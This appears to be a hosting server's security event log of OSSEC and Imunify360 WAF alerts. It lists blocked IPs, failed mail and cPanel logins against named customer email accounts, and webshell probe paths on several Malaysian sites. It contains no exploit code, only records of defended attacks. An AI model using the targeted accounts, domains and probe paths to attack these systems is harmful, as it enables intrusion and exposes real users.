# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.26.31.62
country_id: 1814991
description:
Jan 19 00:10:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.26.31.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 116.97.59.224
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-13.116.97.59.224||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.5.86.86
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/league/flysystem/src/NotSupportedException.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
country_id: 1835841
description:
Jan 19 00:14:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-01-19 00:14:03 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:53846: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.177.24.71
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/markbaker/matrix/infection.json.dist HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.26.31.62
country_id: 1814991
description:
Jan 19 00:18:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.26.31.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.141.216.143
country_id: 298795
description:
Jan 19 00:19:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.141.216.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.96.89.28
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-19.172.96.89.28||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 130.12.182.190
country_id: 2750405
description:
2026-01-19  0:20:05 313570 [Warning] Aborted connection 313570 to db: 'unconnected' user: 'unauthenticated' host: '130.12.182.190' (This connection closed normally without authentication)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.190
country_id: 2750405
description:
Jan 19 00:20:03 sv3 pure-ftpd[3308320]: (?@130.12.182.190) [INFO] New connection from 130.12.182.190


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.158.85.93
country_id: 6252001
description:
[2026-01-19 00:23:03 +0800] info [webmaild] 50.158.85.93 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.231
country_id: 6252001
description:
Jan 19 00:24:33 sv3 pure-ftpd[3310729]: (?@147.185.132.231) [INFO] New connection from 147.185.132.231


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.181.33.235
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/yaml/Dumper.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.120
country_id: 6252001
description:
Jan 19 00:27:31 sv3 pure-ftpd[3312614]: (?@198.235.24.120) [INFO] New connection from 198.235.24.120


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.255.189.56
country_id: 298795
description:
Jan 19 00:28:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.255.189.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.56
country_id: 298795
description:
2026-01-19 00:28:11 dovecot_login authenticator failed for H=([88.255.189.56]) [88.255.189.56]:40958: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.166.34
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-29.171.236.166.34||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.94.138.201
country_id: 6252001
description:
Jan 19 00:30:21 sv3 pure-ftpd[3314163]: (?@167.94.138.201) [INFO] New connection from 167.94.138.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.228.237.90
country_id: 1814991
description:
Jan 19 00:32:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.228.237.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.153.162.56
country_id: 289688
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/event-dispatcher/EventDispatcher.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.0.73.8
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-35.117.0.73.8||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.53.159
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-37.142.111.53.159||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jan 19 00:40:29 sv3.nocser.net cpanel_fileman_hook[3319875]: 0 BAILOUT malware detected when save 'resources.htm' in /home/oxboldc/public_html for user oxboldc


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.96.89.28
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-39.172.96.89.28||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.10.234
country_id: 226074
description:
Jan 19 00:40:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.141.216.143
country_id: 298795
description:
Jan 19 00:42:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.141.216.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.224.202.226
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-43.171.224.202.226||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.94.115
country_id: 1512440
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/who/17/233/1782777 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/druma_photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.174.254.13
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/league/flysystem/src/Config.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 194.110.247.102
country_id: 617790
domain: mssa.org.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/121.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/keyword/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/es/img/photos/about.php||SC:/home/indfinitydesign/public_html/es||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.164.156.84
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-47.95.164.156.84||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.51
country_id: 6252001
description:
2026-01-19  0:47:01 314702 [Warning] Aborted connection 314702 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.51' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.154.10.87
country_id: 2542007
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Exception/SuspiciousOperationException.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 183.87.193.159
country_id: 1269750
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Core.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.141.216.143
country_id: 298795
description:
Jan 19 00:53:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.141.216.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 202.76.174.136
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Exception.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/company.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.32.74
country_id: 3469034
description:
Jan 19 01:01:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.32.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.2
country_id: 953987
description:
Jan 19 01:03:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.2
country_id: 953987
description:
Jan 19 01:03:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.251
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/css/main.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.149
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/css/common.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.217.149.155
country_id: 587116
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/special/technology/technology02.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.93.154.207
country_id: 1643084
description:
Jan 19 01:07:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.93.154.207 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.250.81
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/fpl-soft-umx/jl-audio-dealer-near-me.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.207
country_id: 6252001
description:
2026-01-19  1:09:22 315497 [Warning] Aborted connection 315497 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.207' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.74.136.134
country_id: 6252001
description:
Jan 19 01:09:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.74.136.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.74.136.134
country_id: 6252001
description:
2026-01-19 01:09:40 dovecot_plain authenticator failed for H=syn-050-074-136-134.biz.spectrum.com (rupess) [50.74.136.134]:37386: 535 Incorrect authentication data (set_id=pktan.fpp@vc-b.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.199
country_id: 6252001
description:
2026-01-19  1:10:45 315558 [Warning] Aborted connection 315558 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.199' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-19 01:11:18 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:33722: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.150.252
country_id: 1733045
description:
Jan 19 01:11:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.150.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.169.12
country_id: 2328926
description:
Jan 19 01:11:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.169.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 162.154.131.1
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/call/84/69362 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.90.232.152
country_id: 2750405
description:
Jan 19 01:12:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.90.232.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.169.12
country_id: 2328926
description:
Jan 19 01:13:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.169.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.63.42.76
country_id: 1814991
description:
Jan 19 01:15:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.63.42.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.196
country_id: 3996063
description:
Jan 19 01:17:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/faq.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.196
country_id: 3996063
description:
Jan 19 01:17:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.45.29
country_id: 6290252
description:
Jan 19 01:18:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.45.29 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.19.216.146
country_id: 6252001
description:
37.19.216.146 - - [19/Jan/2026:01:18:04 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12869732&pdata=http%253A%252F%252Fwww.geminiflourmill.com%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768756676 HTTP/1.1" 302 0 www.geminiflourmill.com "http://www.geminiflourmill.com:2082/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.19.216.146


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 197.25.3.212
country_id: 2464461
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Credit.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.183.78
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=3&page_id=1 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.202
country_id: 6251999
description:
Jan 19 01:19:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.202
country_id: 6251999
description:
2026-01-19 01:19:31 dovecot_plain authenticator failed for H=([10.8.18.217]) [37.120.205.202]:34299: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.97.108
country_id: 1814991
description:
Jan 19 01:20:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.97.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.202
country_id: 6251999
description:
Jan 19 01:20:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.202
country_id: 6251999
description:
2026-01-19 01:20:11 dovecot_plain authenticator failed for H=([10.8.18.217]) [37.120.205.202]:7208: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.118.222.187
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=3 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.225.156.134
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=598204 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.76.134
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=126580 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.136.147
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=360128 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.162.128.113
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=224566 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.87.81
country_id: 1512440
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=571193 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.172.106.105
country_id: 1814991
description:
Jan 19 01:23:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.172.106.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.172.106.105
country_id: 1814991
description:
2026-01-19 01:23:32 dovecot_login authenticator failed for H=([117.172.106.105]) [117.172.106.105]:38183: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.181.253.146
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=1&page_id=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.200.25.140
country_id: 2589581
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=994821 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.6.206.13
country_id: 1820814
description:
Jan 19 01:23:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.6.206.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.111.15.2
country_id: 1210997
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=518721 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.121.253
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=934113 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.123.47.193
country_id: 3437598
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&sub=7 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.225.222.5
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=975297 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.184.201.102
country_id: 2921044
domain: www.kendek.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/94.0.4606.61 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.74.34.30
country_id: 630336
description:
Jan 19 01:26:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.74.34.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.74.34.30
country_id: 630336
description:
2026-01-19 01:26:55 dovecot_login authenticator failed for H=([77.74.34.30]) [77.74.34.30]:49196: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.96.99.199
country_id: 3175395
description:
Jan 19 01:27:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.96.99.199 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.111.41.6
country_id: 2963597
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=621673 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.133.226.213
country_id: 357994
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/history.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.12.165
country_id: 1269750
description:
Jan 19 01:33:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.12.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.121
country_id: 732800
description:
Jan 19 01:35:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.148.2
country_id: 1733045
description:
Jan 19 01:37:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.148.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.2
country_id: 1733045
description:
2026-01-19 01:37:30 dovecot_login authenticator failed for H=([49.124.148.2]) [49.124.148.2]:44800: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
